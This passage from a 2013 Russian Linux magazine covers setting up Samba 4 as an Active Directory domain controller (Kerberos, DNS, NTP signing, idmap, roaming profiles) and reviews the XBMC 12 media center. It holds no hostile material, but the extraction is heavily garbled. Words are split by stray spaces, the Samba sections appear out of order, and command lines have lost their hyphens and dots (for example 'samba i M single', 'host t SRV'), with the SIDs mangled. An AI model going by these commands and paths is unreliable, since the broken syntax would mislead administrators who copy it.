по мес тить в оче редь за да чи на пе чать, и кли ен ту 
нуж но рас по ла гать со от вет ст вую щим драй ве ром 
прин те ра, по то му что имен но тот кон вер ти ру ет пе
ча тае мый файл в дан ные raw, ко то рые умеет об ра
ба тывать прин тер. Пе чать тре бу ет на ли чия ди рек
то рии spool и воз мож но сти за пи си в нее:
# mkdir /var/spool/samba
# chmod 1777 /var/spool/samba

Не об хо ди мая на строй ка Samba на страи ва
ет пе чать CUPS и раз ре ша ет рас пре де лен ный до
ступ к сво им прин те рам на раз де ляе мом ре сур се 
[printers]:
[global]
   load printers = yes
   printing = cups
   printcap name = cups
[printers]
   comment = Printers
   path = /var/spool/samba
   browsable = yes
   writable = yes
   printable = yes
[print$]
   comment = Printer Drivers
   path = /usr/share/samba/print
   writable = yes

До полнитель ный ре сурс [print$] яв ля ет ся оп
цио наль ным и слу жит для раз ме щения драй ве ров 
прин те ров. Он по зво ля ет ад минист ра то ру за гру
жать драй ве ры на сер вер, что бы поль зо ва те лям, 
ко то рые уста нав ли ва ют прин тер, не при шлось 
ис кать их са мим. Ди рек то рия для ре сур са [print$] 

Что же та кое Kerberos?

Kerberos – это про то кол се те вой ау тен ти фи ка ции, 
ис поль зую щий сис те му раз ре шений для безо пас
ной ау тен ти фи ка ции без пе ре да чи па ро ля по се ти. 

Это зре лый про то кол, ко то рый ве дет свое на ча ло 
из MIT 1980х, когда он был соз дан как ре шение про
блем се те вой безо пас но сти, и с 1987 го да код его 

от крыт (http://web.mit.edu/kerberos). Он ис поль зу
ет ся кон трол ле ра ми до ме нов Active Directory.

В «Kerber’изированном» со единении уча ст ву ют 
трое: кли ент, ре сурс и сер вер Kerberos, из вест ный 
как Key Distribution Centre (KDC). Имен но бла го
да ря этой трой ст вен но сти Kerberos и по лу чил свое 
на звание в честь трех гла во го пса из древнегре че
 ской ми фо ло гии, ко то рый сто ро жил вра та Аи да.

Key Distribution Centre осу ще ст в ля ет ау тен ти
фи ка цию Kerberos в два эта па. Сна ча ла кли ент 
за пра ши ва ет «раз ре шение на по лу чение раз ре
шения (ticket granting ticket, TGT)». Обыч но это 
про ис хо дит, когда кли ент про из во дит на чаль ный 
вход на сер вер. Со вре менем TGT ут ра чи ва ет си лу, 
но при необ хо ди мо сти его мож но во зоб но вить. 
Вто рая ста дия идет в ход, когда кли ент же ла ет 
по лу чить доступ к ре сур су, за щи щен но му Kerbe
ros. Он от прав ля ет свой TGT на зад, на сер вер, ко то
рый под твер жда ет его пра виль ность и воз вра ща ет 
кли ен ту раз ре шение на за пра ши вае мый доступ 
к ре сур су. 

Это до воль но уп ро щен ное объ яснение слож
но го про цес са, ко то рый станет на мно го по нятнее 
бла го да ря ви део пре зен та ции: www.youtube.com/
watch?v=KD2Q2ToloE.

В до мене Active Directory Kerberos KDC – од на 
из служб, за пускае мых на кон трол ле ре до ме на.

Есть несколь ко обу чаю щих ви део на https://wiki.
samba.org/index.php/Samba4/videos, ко то рые 
очень непло хо по ка зы ва ют про цесс уста нов ки 
и на строй ки.

Ско рая по мощь
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1  За прос на раз ре шение
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Кли ент
5  От сыл ка от кли ка
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для но во го до ме на Windows. Это мож но сде лать, 
или от ре дак ти ро вав /etc/resolv�conf, или, ес ли ваш 
хост по лу ча ет се те вые на строй ки по DHCP, под
пра вив кон фи гу ра цию это го сер ви са. В лю бом 
слу чае, /etc/resolv�conf дол жен вы гля деть та ким 
об ра зом:
domain mydomain.co.uk
nameserver 127.0.0.1

Samba пе ре на прав ля ет за про сы, ко то рые 
не в состоянии раз ре шить са ма, на ад рес пе ре
ад ре са ции DNS, ко то рый ука зы ва ет ся на ста дии 
инициа ли за ции. Она ис поль зу ет соб ст вен ный 
внут ренний сер вер DNS, но его мож но на стро ить 
на ис поль зо вание внешнего BIND. 

За вер шив на строй ку, мы мо жем за пустить кон
трол лер до ме на и вы полнить неко то рые тес ты. Ре
жим Active Directory ис поль зу ет но вый ис пол няе
мый файл samba вме сто привыч но го smbd. Итак, 
мы за пуска ем его вруч ную, од но вре мен но про
водя тес ты:
# samba i M single mydomain
Copyright Andrew Tridgell and the Samba
Team 19922012
samba: using ‘single’ process model
# host t SRV _ldap._tcp.mydomain.co.uk
_ldap._tcp.mydomain.co.uk has SRV record 0 100 
389 myhost.mydomain.co.uk.

# host t SRV _kerberos._udp.mydomain.co.uk
_kerberos._udp.mydomain.co.uk has SRV record 0 
100 88 myhost.mydomain.co.uk.
# host t A myhost.mydomain.co.uk
host t A myhost.mydomain.co.uk

Да лее, тес ти ру ем Kerberos (по за про су, вве ди те 
па роль ад ми ни ст ра то ра):
# kinit administrator@MYDOMAIN.CO.UK
Password for administrator@MYDOMAIN.CO.UK:
# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: administrator@MYDOMAIN.CO.UK
Valid starting Expires Service principal
08/02/13 16:25:31 09/02/13 02:25:31 krbtgt/
MYDOMAIN.CO.UK@MYDOMAIN.CO.UK
   renew until 09/02/13 16:25:21

Здесь вы долж ны уви деть ре сур сы Samba и по
лу чить дос туп к ним:
$ smbclient L localhost U%
Domain=[MYDOMAIN] OS=[Unix]
Server=[Samba 4.0.3]
Sharename Type Comment
[Имя ресурса] [Тип] [Комментарий]
  
netlogon Disk
sysvol Disk
IPC$  IPC IPC Service (Samba 4.0.3)

$ smbclient //localhost/netlogon 
UAdministrator%’Pa$$w0rd’ c ‘ls’
Domain=[MYDOMAIN] OS=[Unix] Server=[Samba 
4.0.3]
. D 0 Thu Feb 7 20:06:55 2013
. D 0 Thu Feb 7 20:08:44 2013

Еще один сер вис, пре достав ляе мый Active 
Directory Domain Controller – это син хрониза ция 
вре мени. Хо тя она и не обя за тель на, эта оп ция 
на стоя тель но ре ко мен ду ет ся, по то му что Kerberos 
ис клю чи тель но чу ток к разнице во вре мени ме ж ду 
кли ен та ми и сер ве ром. 

Так на зы вае мый Windows Time Service, пре
достав ляе мый кон трол ле ром до ме на, это сер
вер Network Time Protocol (NTP) с рас ши рения ми 
для ау тен ти фи ка ции. В Linux име ет ся ряд реа ли
за ций NTP, на при мер, ntpd и open-ntpd, но толь ко 
ntpd вер сии 4.2.6 под дер жи ва ет необ хо ди мые рас
ши рения ау тен ти фи ка ции, и толь ко тогда, когда 
ском пи ли ро ва на под держ ка Samba (про верь те 
сов па дение ва шей вер сии ntpd по ntpd --version). 
Долж ным об ра зом на стро ен ный ntpd про сит 
Samba про из ве сти необ хо ди мую ау тен ти фи ка
цию. На строй ка ntpd про ис хо дит в /etc/ntpd�conf. 
Вот со от вет ст вую щий при мер:
server 127.127.1.0
fudge 127.127.1.0 stratum 12
ntpsigndsocket /var/lib/samba/ntp_signd/
restrict default mssntp

Са мые важ ные стро ки, ко то рых мо жет не быть 
в имею щем ся ntpd�conf – две по следних. Запись 
ntpsigndsocket оп ре де лея ет путь к ди рек то рии, 
где Samba раз ме ща ет файл со ке та, че рез ко то рый 
по лу ча ет за про сы на ау тен ти фи ка цию. Запись 
restrict со об ща ет ntpd, что нуж но ау тен ти фи ци ро
вать вхо дя щие за про сы. Путь со ке та оп ре де лят ся 
на строй кой Samba, и вы мо же те под твер дить пра
виль ный путь с по мо щью
# sambatool testparm verbose suppress
prompt | grep “ntp signd socket directory”
   ntp signd socket directory = /var/lib/samba/
ntp_signd

> Samba Web Adminstration Tool (SWAT) все еще жив, но давно не об нов лял ся�
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# wbinfo nametosid myuser
S152140992196721275272411291422405
1104 SID_USER (1)
# ldbedit H idmap.ldb cn=S1521 
409921967212752724112914224051104

Это по зво ля ет ре дак ти ро вать запись из ба зы 
дан ных поль зо ва те лей Samba с по мо щью ре дак
то ра по умол чанию, что бы вы мог ли из менить uid 
поль зо ва те ля (рас по ло жение idmap�ldb за ви сит 
от то го, что у вас уста нов ле но, но это бу дет нечто 
вро де /var/lib/samba/private или /usr/local/samba/
private):
0 # editing 1 records
1 # record 1
2 dn: CN=S152140992196721275272411 
2914224051105
3 cn: S152140992196721275272411
2914224051105
4 objectClass: sidMap
5 objectSid:: AQUAAAAAAAUVAAAA2CB 
V9NscA0zFwF4RUQQAAA==
6 type: ID_TYPE_BOTH
7 xidNumber: 3000020
8 distinguishedName: CN=S1521 
409921967212752724112914224051105

Ве ли чи на, ко то рую здесь требуется из менить – 
xidNumber; ее мож но за менить на пра виль ный 
uid поль зо ва те ля Linux. Из менения бу дут со
хранены в ба зе дан ных по сле вы хо да из сес сии 
ре дак ти ро вания. 

На строй ка фай ло вых ре сур сов мо жет про из
во дить ся тем же спо со бом, что и в клас си че  ской 
Samba – до бав лением со от вет ст вую щих бло
ков в smb�conf. Вы мо же те сде лать доступ ным 
[homes], как в клас си че  ской Samba, но мо же те 
пой ти на шаг даль ше и пред ло жить пе ре ме щае
мые про фи ли с по мо щью раз де ляе мо го ре сур са 
[profiles]:
[profiles]
   comment = Roaming Profiles
   path = /var/lib/samba/profiles
   writable = yes
   browsable = no

Что бы на стро ить поль зо ва те ля с пе ре ме щае
мым про фи лем, ис поль зуй те ин ст ру мент Active 
Directory Users and Computers для ре дак ти ро вания 
на стро ек поль зо ва те ля и на строй ки пу ти его про
фи ля к \\mydomain\profiles\ %USERNAME %. В со
от вет ст вии с этим, про филь поль зо ва те ля бу дет 
ко пи ро вать ся ме ж ду локаль ным дис ком и об ла
стью Profiles на сер ве ре, когда он бу дет вхо дить 
и вы хо дить с лю бо го кли ен та до ме на. 

Для лю бых по треб но стей, на чи ная с обыч ных 
фай ло вых ре сур сов и за кан чи вая пол ной сре
дой Active Directory, Samba 4 да ет жизнеспо соб
ную аль тер на ти ву с от кры тым ко дом до ро гим про
прие тар ным аль тер на ти вам. |

не имею щие ника ко го от но шения к ре аль ной про
бле ме. Служ ба вре мени Windows бу дет по сто ян но 
син хронизи ро вать ча сы, когда кли ент станет чле
ном до ме на. 

Что бы до ба вить кли ент к до ме ну, пе рей ди
те в Start > Computer > RightClick > Properties 
> Change settings. Поя вит ся диа ло го вое ок но 
Computer Name/Domain Changes, где на до вы
брать Domain в раз де ле Member Of и вве сти имя 
до ме на Samba (на при мер, mydomain), а за тем на
жать OK. Та ким об ра зом бу дут за про ше ны ад
минист ра тор ские па роль и ло гин (имя поль зо ва

те ля – Administrator, 
а па роль – Pa$$w0rd, 
ес ли вы сле до ва ли на
шим на строй кам, при
ве ден ным в при ме ре).

Ад минист ри рование 
до ме на мож но вы пол

нить либо локаль но на сер ве ре при посредстве 
ути литы команд ной стро ки samba-tool, либо уда
лен но с ком пь ю те ра Windows, со единен но го с до
ме ном. Ад минист ра тор, ис поль зуя пра виль но на
стро ен ный ПК, мо жет за пустить ин ст ру мент Active 
Directory Users and Computers. Он пре доста вит пол
ный кон троль над поль зо ва те ля ми и ком пь ю те
ра ми, и ра бо та ет в точ но сти так же, как ес ли бы 
он осу ще ст в лял ад минист ри ро вание Microsoft 
Active Directory.

До бав ление поль зо ва те лей к AD из клас си че
 ской Samba (ко то рая ис поль зу ет smbpasswd) де
ла ет ся подру го му, но так бу дет бо лее гиб ко, по
то му что это мож но сде лать из команд ной стро ки 
с по мо щью samba-tool или уда лен но из Windows 
с по мо щью Active Directory Users and Computers.

Когда соз да ют ся поль зо ва те ли AD, они не име
ют от но шения к су ще ст вую щим поль зо ва те лям 
в /etc/passwd, по то му что им при сваи ва ют ся дру
гие но ме ра uid. При сво ен ный uid мож но из менить, 
и это де ла ет ся до воль но про сто:

Samba соз да ет ди рек то рию со ке та, од на ко 
очень важ но, что бы в ней мог пи сать ntpd. Ес ли 
ntpd ра бо та ет с uid:gid из ntp:ntp, на до так же из
менить груп пу ди рек то рии на ntp.

Пе ре за пусти те ntpd, что бы все из менения 
в на строй ке всту пи ли в си лу, и за тем про верь те 
логфайл на пред мет на ли чия пре ду пре ж дения 
о том, что ntpd был на стро ен без оп ции на строй
ки во вре мя ком пи ля ции --enable-ntp-signd. Ес ли 
вы ви ди те это пре ду пре ж дение, зна чит, ваш ntpd 
не под дер жи ва ет нуж но го ме ханиз ма ау тен ти
фи ка ции. Вам при дет ся най ти ис ходники для 

ntpd и пе ре ком пи ли ро вать его, что бы он вклю
чил вы ше упо мя ну тую оп цию на строй ки во вре мя 
ком пи ля ции. 

К со жа лению, ин ст ру мен та для тес ти ро вания 
ау тен ти фи ка ции NTP из Linux нет. Что бы про тес
ти ро вать ее с ком пь ю те ра Windows, яв ляю ще го ся 
чле ном до ме на, от крой те ок но команд ной стро ки 
как Administrator (щелкните по кноп ке Пуск, вве
ди те cmd и щелкните пра вой кноп кой по команд
ной стро ке в окне ре зуль та та по ис ка, что бы вы де
лить Run as administrator) и вве ди те
C:\> w32tm /resync
Sending resync command to local computer
The command completed successfully.

Пе ред со единением кли ен та Windows с но
вым до ме ном из мените его се те вые на строй ки, 
что бы он ис поль зо вал DNS Samba. Так же непло хо 
вруч ную на стро ить ча сы кли ен та, что бы разница 
с кон трол ле ром до ме на не пре вы ша ла несколь
ких се кунд. Ес ли ча сы не син хронизи ро ва ны, 
вы мо же те по лу чать со об щения об ошиб ках, 

За мет ки по ре ли зу Samba 4 на хо дят ся на  
www.samba.org/samba/history/samba4.0.0.html.

Ско рая по мощь

> До бав лять поль зо ва те лей мож но из Windows�

«Для лю бых по треб но стей 
Samba да ет жиз не спо соб-
ную аль тер на ти ву.»
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Не сколь ко лет про дер жав на пла ву MythTV,  
Грэм Мор ри сон ре шил, что на шел ва ри ант по лу чше.

И
дея пре вра щения сво его ком пь ю-
те ра Linux в муль ти ме диа-центр 
всегда бы ла по пу ляр на� Воз мож но, 
по то му, что мож но уста но вить 

сколь ко угод но вер сий Linux без необ хо ди мо-
сти пла тить за ли цен зию на ис поль зо вание опе-
ра ци он ной сис те мы, а воз мож но, по то му, что ста-
биль ность Linux де ла ет его пре крас ной 
сис те мой для ком пь ю те ра, ко то ро му 
бу дет до ве ре но за пи сать все се рии 
«Eastenders» [те ле се ри ал BBC, вы хо дит 
с 1985 го да, — прим� пер�]�

И это всегда бы ли уси лия люб ви, по
то му что мно гие го ды един ст вен ным 
нор маль ным цен тром муль ти ме диа для те ле ви
дения был MythTV, мо но лит из кли ен тов и сер ве
ров, ко то рые мог ли (и все еще мо гут!) де лать все – 

от ав то ма ти за ции ва ших штор до хрониче  ско  го 
по ис ка про грамм, ко то рые вы, воз мож но, за хо
ти те за пи сать. Это чу дес ная сис те ма, но ее труд
новато на стро ить – нуж ны и сер вер ная часть для 
вы полнения за пи си, и кли ент ская для их про смот
ра; причем да же уста нов ка и то го, и дру го го бы
вает непро стой.

В кон це ян ва ря вы шла 12я вер сия луч шей аль
тер на ти вы MythTV – XBMC. XBMC бы ст ро ста
но вит ся иде аль ной за ме ной для тех, у ко го нет 

вре мени на на строй ку MythTV, и в ито ге стал пре
крас ным кли ен том для все го ва ше го ме диакон
тен та. По это му в на шем об зо ре мы да ли XBMC 
при зо вую оцен ку. Это эк ви ва лент кли ен та MythTV, 
но вы пол ня ет мно гие из тех же за дач в го раз до бо
лее при ят ном и удоб ном ин тер фей се. Бла го да ря 
уско рению OpenGL, поль зо ва тель ский ин тер фейс 

мас шта би ру ет ся и бо лее эф фек тив
но ра бо та ет с те ле ви дением вы со кой 
чет ко сти, а так же с воспро из ве дением, 
при чем иде аль но под хо дит для обыч
ных поль зо ва те лей, при вык ших к кли
ен там ком мер че  ских те ле при ста вок. 
И ви дя столь мо ну мен таль ный ре лиз, 

осво ив ший мно гие воз мож но сти MythTV, мы по
ду ма ли, что это от лич ная воз мож ность вы ка зать 
немно го люб ви XBMC.

XBMC как он есть

«XBMC стал пре крас ным 
кли ен том для все го  
ва ше го ме диа-кон тен та.»



Май 2013 LXF170 | 51

 XBMC

X 
в XBMC гор до оз на ча ет “XBox” – да, ту 
са мую иг ро вую кон соль, про из ве ден ную 
и про дви гае мую Microsoft. Ранние вер

сии XBMC пре вра ща ли иг ро вую кон соль в ме диа
про иг ры ва тель, под клю чае мый пря мо к те ле ви зо
ру и уси ли те лю. Про грам му осно ва ли в 2002 го ду 
два раз ра бот чи ка, d7o3g4q и RUNTiME, и ка ж дый 
из них трудился над соб ст вен ны ми ком понен
та ми с за кры тым ис ход ным ко дом, пре ж де чем 
они объ е динили свои уси лия с Frodo, соз да те
лем YAMP – Yet Another Media Player [Еще Один 
Ме диаПро иг ры ва тель]. Но вый со вме ст ный про
ект пре вра тил ся в Xbox Media Player 2.0, вы шед
ший в 2002 го ду. А год спустя на ро дил ся Xbox 
Media Center – из менение на звания про ил лю ст
ри ро вало но вые це ли и ох ват про ек та, ко то рые 
ак ту аль ны и се го дня. Пер вый ста биль ный ре лиз 
XBMC вы шел в июне 2004 го да, а че рез два го да 
вы шла вер сия 2.0. На конец, в 2007 го ду про грам
ма уш ла от кон со ли Xbox, при звав раз ра бот чи ков, 
ко то рых мог ло за ин те ре со вать пор ти ро вание 
XBMC в Linux с за ме ной про прие тар но го DirectX, 
ис поль зуе мо го на плат фор ме Microsoft, на SDL 
и OpenGL.

Ус та нов ка
Про шло поч ти де сять лет, и вот – 12я вер сия 
XBMC под ко до вым на званием “Frodo”. Она пре
вра ти лась в один из луч ших муль ти п лат фор
мен ных цен тров муль ти ме диа с улуч шен ным 
ин тер фей сом, ко то рый бо лее чем спо со бен за
менить поч ти лю бой кли ент муль ти ме диа. Но вая 

вер сия под дер жи ва ет Android и Raspberry Pi, уме
ет воспро из во дить ау дио и ви део вы со кой чет ко
сти и пре вращаема в пол но цен ный циф ро вой ви
део магнито фон. Она за пуска ет ся поч ти на всех 
плат фор мах, и ее мож но раз бить на кли ент муль
ти ме диа для гости ной и сер ве ры для об ра бот ки 
кон тен та. Про грам ма ста ла пре крас ной за ме ной 
для бли ста тель ной MythTV, об ла да ет более друже
любным поль зо ва тель ским ин тер фей сом и менее 
кру той кри вой обу чения, хо тя и менее гиб ко на
страи вае ма и не та кая мощ ная.

Бла го да ря сво ей вез де су ще сти, про грам ма 
уста нав ли ва ет ся поч ти в ка ж дом по пу ляр ном ди
ст ри бу ти ве че рез менед жер па ке тов. Хо ти те за
пустить кли ент на Rasp berry 
Pi – вос поль зуй тесь ди ст
ри бу ти вом OpenELEC; хо
ти те по про бо вать XBMC 12 
(что мы вам и ре ко мен ду ем 
сде лать) – вам по на до бит
ся ли бо Arch, ли бо са мый 
по следний ре лиз ди ст ри бу
ти ва. А ес ли вы со бра лись 
пре вра тить во чтонибудь 
по лез ное свой ком пь ю тер 
с Windows или OS X, возь
ми те дво ич ные фай лы для 
этих опе ра ци он ных сис
тем – они ок ку пи ру ют весь 
ра бо чий стол, и вы смо же те 
во об ра жать, что попреж
нему си ди те в Linux. XBMC – 

один из луч ших спо со бов ис поль зо вать за пас
ной ком пь ю тер, так как тот лег ко бу дет вер нуть 
к нор маль ной ра бо те, на жав кноп ку Quit [Вы
ход]. Вам так же мо жет по на до бит ся несколь ко 
до полнитель ных па ке тов, ко то рые улуч шат ви
деоуско рение на ви део кар тах Nvidia и AMD. Биб
лио те ки vdpau для Nvidia и xvba для AMD по мо
гут ва шей сис те ме де ко ди ро вать ви део по то ки 
вы со ко го раз ре шения. Же лая ин тег ри ро вать ме
диапро иг ры ва тель с циф ро вым ви део магнито
фо ном, та ким как Raspberry Pi с TVHeadend 
(мы рас ска зы ва ли о нем в про шлом но ме ре), 
уста но ви те па кет xbmc-pvraddons, хо тя во мно гих 
ди ст ри бу ти вах он име ет ся по умол чанию.

> Фильм «Гон ка» с Райаном Гослингом [Ryan Gosling] в главной роли — 
те ма 23 % раз го во ров в Баш нях LXF�

Шаг за ша гом: Ос ваи ва ем XBMC

1 Ус та нов ка >
Важ но иметь вер сию XBMC 12, а не про сто ту, что есть 
в ва шем ди ст ри бу ти ве. Поль зо ва те лям Ubuntu со ве
ту ем до ба вить офи ци аль ный PPA (https://launchpad.
net/~teamxbmc/+archive/ppa) в спи сок ре по зи то ри ев. 
Хо ро ший ва ри ант – ди ст ри бу ти вы для XMBC, на при
мер, XBMCbuntu, осо бен но ес ли вы хо ти те за гру жать 
кли ен та в Liveсре де.

2 За пуск XBMC >
По умол чанию при ло жение за пуска ет ся в пол но эк ран
ном ре жи ме. Это мож но из менить толь ко в на строй
ках XBMC, вы брав System > Video Output > Display 
Mode [Сис те ма > Ви део вы ход > Ре жим ото бра жения], 
а что бы это ра бо та ло, вклю чите уско рение OpenGL. 
Ви део кар ты от Intel, AMD и Nvidia бу дут ра бо тать, 
но для луч шей про из во ди тель но сти мо гут по на до
бить ся про прие тар ные драй ве ры.

3 До бав ление со дер жи мо го
Ка ж дое из изо бра жений, ви део ро ли ков или му зы ки 
в глав ном ме ню по зво ля ет до ба вить ис точник 
со дер жи мо го. 

Ис точники мо гут на хо дить ся в локаль ной фай ло
вой сис те ме или в се ти с досту пом по UPnP, NFS или 
Samba. С по мо щью встро ен но го ок на вы бо ра фай лов 
их лег ко най ти.

Что та кое XBMC?
На этот путь уш ло бо лее 10 лет, но на ча ло про ек та бы ло вол ную щим.
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E: По ка зать элек трон ный те ле гид
B: За пла ни ро вать за пись с эфир но го ТВ
H: Ок но те ле ви зи он ных ка на лов
F: Бы ст рая пе ре мот ка впе ред
R: В на ча ло
P: Вос про из ве сти
Про бел: Вос про из ве де ние/пау за
X: Ос та нов

M: Эле мен ты управ ле ния на эк ра не
S: Ме ню вы клю че ния
Стрел ка вле во: Пре ды ду щий эле мент или пе ре
мот ка ви део на 30 се кунд на зад
Стрел ка впра во: Сле дую щий эле мент или пе ре мот ка 
ви део на 30 се кунд впе ред
Стрел ка вверх: Сле дую щий ка нал, впе ред 
на 10 ми нут или сле дую щий раз дел

Стрел ка вниз: Пре ды ду щий ка нал, на зад 
на 10 ми нут или пре ды ду щий раз дел 
ESC: Вы ход из пол но эк ран но го ре жи ма  
в оконный
� (точ ка): Пе ре ход впе ред
, (за пя тая): Пе ре ход на зад
+ или =: Уве ли чить гром кость
-: Умень шить гром кость

Шесть при чин, по ко то рым этот ме диацентр одо ле ет все ос таль ные.

Луч шие функ ции XBMC

1 Управ ление фо то гра фия ми
Су ще ст ву ет мно го ути лит для управ ления фо то кол лек
ци ей, но бла го да ря воз мож но сти до ба вить несколь ко 
ис точников и вы брать ме ж ду про смот ром фо то гра
фий в ре жи мах спи ска, миниа тюр и image wrap XBMC, 
по на ше му мнению, вы дер жи ва ет пра виль ный ба ланс. 
К со жа лению, как по ка зы ва ет эк ран ный снимок вы ше, 
он ниче го не мо жет сде лать с ка че  ст вом фо то гра фий, 
по это му сна ча ла най ди те се бе учи те ля или от кры тый 
кол ледж, ко то рые обу чи ли бы вас этой чер ной ма гии.

2 На скре сти кон текст
При до бав лении ис точника ви део кон тен та мож но про
из ве сти по иск изо бра жений и кон тек ст ной ин фор ма
ции по ба зе дан ных филь мов и до ба вить про фес сио
наль ное оформ ление сво ей (ле галь но при об ре тен ной!) 
кол лек ции филь мов. Об лож ки для филь мов уп ро стят 
по иск и сде ла ют его бо лее ин туи тив ным, и хо тя фай
лы мо гут хранить ся на внешнем уст рой ст ве, ре зуль тат 
сто ит уси лий – да же ес ли по тре бу ет ся оста вить про
цесс на ночь.

3 До полнения
Вы брав Add ons [До полнения], за тем Get More [Боль ше] 
для ме ню Pictures [Изо бра жения], Videos [Ви део] 
и Music [Му зы ка], вы по лу чи те доступ к ши ро ко му 
на бо ру дру гих ис точников кон тен та. Мно гие из них – 
сер ви сы по то ко во го воспро из ве дения он лайн, на при
мер, ви део ис точник АльДжа зи ры [Al Jazeera] или 
пря мое под клю чение к биб лио те ке под кас тов iTunes 
в раз де ле Music [Му зы ка]. Это иде аль ный мо мент, что
бы упо мя нуть под каст TuxRadar – это часть биб лио те ки 
iTunes. Он луч ший, это прав да.

4 PVR
Ес ли вы уста но ви ли TVheadend, мож но вклю чить 
в XBMC пла гин PVR, зай дя в Settings > Addons > Dis
abled Addons > PVR clients [На строй ки > До полнения > 
От клю чен ные до полнения > Кли ен ты PVR]. По сле это го 
(и, если надо, по сле из менения IPад ре са) в ме ню поя
вит ся пункт Live TV, с по мо щью ко то ро го мо жно смот
реть те ле ви дение, планиро вать за пи си и про смат ри
вать элек трон ный те ле гид. Мы об на ру жи ли, что лег ко 
ор ганизо вать и по то ко вое ве щание по локаль ной се ти 
(LAN) – нам да же уда лось сде лать это с па рой HDка
на лов сра зу, пе ре на пра вив порт 9982 с сер ве ра TVhead-
end че рез бранд мау эр на кли ент ский ком пь ю тер XBMC. 
Но по на до бит ся при лич ная ши ри на ка на ла.

5 Про грам мы
В XBMC фан та сти че  ская ар хи тек ту ра пла ги нов. Так, 
вы брав ме ню Programs [Про грам мы], лег ко до ба ви ть 
всю требуемую функ цио наль ность. Есть ути ли ты про
вер ки поч ты Gmail, за пуска эму ля то ра, и да же ки но
вик то ри на. И соз дать соб ст вен ный пла гин не так уж 
труд но. Про кру чи ваю щая ся лен та тек ста, час то ви ди
мая в нижней час ти ок на, опо вес тит вас о со стоянии 
раз лич ных пла ги нов, а их об нов ления лег ко уста но
вить на странице на строй ки Available Updates [Доступ
ные об нов ления]. Ав то ма ти че  ские об нов ления мож но 
вклю чить (и вы клю чить) в ме ню бо ко вой ко лон ки – оно 
по яв ля ет ся при на жа тии стрел ки вле во на этой стра
нице (воз мож но, понадобится его ак ти ви ро вать).

6 Те мы
По умол чанию в XBMC применя ет ся ин тер фейс Conflu
ence. Он при да ет кли ен ту пре крас ный со вре мен ный 
об лик, но доступ ны и дру гие те мы. Вы бе ри те пункт 
ме ню Settings > Appearance > Skin [На строй ки > Внеш
ний вид > Те ма], вы бе ри те Confluence и на жми те кноп ку 
Get More... [Еще...]. На ши лю би мые те мы вклю ча ют 
но вую те му Aeon – она вы гля дит очень про фес сио
наль но, когда в кол лек ции филь мов есть об лож ки; 
Back Row – па ро ди  я на внешний вид те ле при став ки 
некой фрук то вой кор по ра ции, и Rapier – ин тер фейс, 
не пе ре гру жен ный кар тин ка ми и до бав ля ющий в этот 
на бор немно го столь нуж но го минима лиз ма. А не нра
вит ся ни од на те ма из осталь ных – их лег ко из менить!

Го ря чие кла ви ши Ос во ить ся в XBMC мо жет быть не про сто. Вот крат кий спи сок  
са мых рас про стра нен ных со че та ний кла виш
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О
д но из луч ших свойств XBMC – его под
лин ная кросс плат фор мен ность. Есть 
вер сии не толь ко для Windows, OS X 

и Linux – вер сия 12.0 до бави ла под держ ку Android; 
кро ме то го, ох ва че ны пер вые два по ко ления Apple 
TV и да же взло ман ные уст рой ст ва iOS. Вер сия для 
Android толь ко всту па ет в жизнь, но это пол но цен
ная пор ти ро ван ная вер сия, спо соб ная на все, что 
уме ют на столь ные вер сии. Она всета ки пер вая, 
и под держ ка ап па рат но го де ко ди ро вания ог ра ни
че на, а зна чит, боль шин ст во уст ройств бу дет об
ра щать ся к про грамм но му де ко ди ро ванию; но 
ко ман да раз ра бот чи ков при пря жет уско рение, 
скры тое внут ри мно гих план ше тов и те ле фо нов 
Android, что бы воспро из во дить кон тент с низ кой 
за груз кой про цес со ра, и это лишь во прос вре мени. 
Да же сей час встраи вае мые уст рой ст ва с Android, 
типа MiniX Neo X5, по ка зы ва ют хо ро шую про из во
ди тель ность, про иг ры вая ви део 1080p и HDзвук – 
вот вам от лич ный ва ри ант еще до по взросления 
про грам мы. Спи сок пред ва ри тель ных тре бо ваний 
вклю ча ет под держ ку Tegra 3 и Android 4.0, хо тя 
мо гут по дой ти и бо лее ранние вер сии. Скажем, 
про грам ма ра бо та ет на Nexus 7 и Nexus 10, а так же 
на аме ри кан ской вер сии Samsung Galaxy S (III).

Чем бли же ва ше уст рой ст во по ха рак те ри
сти кам к офи ци аль но му це ле во му уст рой ст ву 
для XBMC, тем луч ше про грам ма бу дет ра бо тать. 
Офи ци аль ное це ле вое уст рой ст во на дан ный мо
мент – Pivos XIOS DS от AMLogic. В нем уста нов
ле ны про цес сор ARM Cortext A9, гра фи че  ский мо
дуль Mali400 3D с HDMIвы хо дом и воз мож ность 
уда лен но го управ ления. Оно никогда не за менит 
ма ло мощ ный ком пь ю тер, но это пре крас ный ва
ри ант, ес ли вы хо ти те бы ст ро до ба вить его к сво ей 

схе ме. Уст рой ст во дей ствительно очень тон кое, 
все го 0,6 дюй ма. Его лег ко за кре пить на задней 
по верх но сти те ле ви зо ра среднего раз ме ра и оста
вить под клю чен ным к бес про вод ной се ти, что бы 
по ва ше му за про су оно фор ми ро ва ло кон тент.

Raspberry Pi
Другая пре крас ная но вая плат фор ма для XBMC – 
Raspberry Pi. По техниче  ским ха рак те ри сти кам 
RPi усту па ет мно гим уст рой ст вам Android, но мно
гое де ла ет ся для то го, что бы про из во ди тель ность 
бы ла мак си маль но хо ро шей, а низ кая стои мость 
по зво ля ет из бе жать кон ку рен ции. Ви део вы со
ко го раз ре шения воспро из во дят ся без оши бок 
и хо ро шо ра бо та ют с пор том HDMI Pi. Для уста
нов ки XBMC на RPi луч ше все го восполь зо вать ся 
ди ст ри бу ти вом OpenELEC (Open Embedded Linux 
Entertainment Center). По следняя вер си я на мо мент 

на пи сания ста тьи – тре тий ре лизкан ди дат вер сии 
3.0, а когда вы бу де те чи тать это, ско рее все го, уже 
вый дет фи наль ная вер сия 3.0. Ди ст ри бу тив досту
пен для за груз ки в ви де фай ла tar�bz2, и сна ча ла 
нуж но рас па ко вать его, два ж ды щелк нув на нем 
на ра бо чем сто ле или выполнив ко ман ду tar xvf 
OpenELEC-RPi�arm�tar�bz2. Вставь те чи тал ку SD
карт в ком пь ю тер Linux и восполь зуй тесь вы во дом 
ко ман ды dmesg, что бы уз нать, ка кое уст рой ст во 
на зна чи лось кар те. Обыч но это нечто вро де /dev/
sdc, но нуж но знать точ но: в слу чае ошиб ки вы по
те ряе те важ ные дан ные, по сколь ку OpenELEC уго
дит пря ми ком на дру гое уст рой ст во. Уз нав имя 
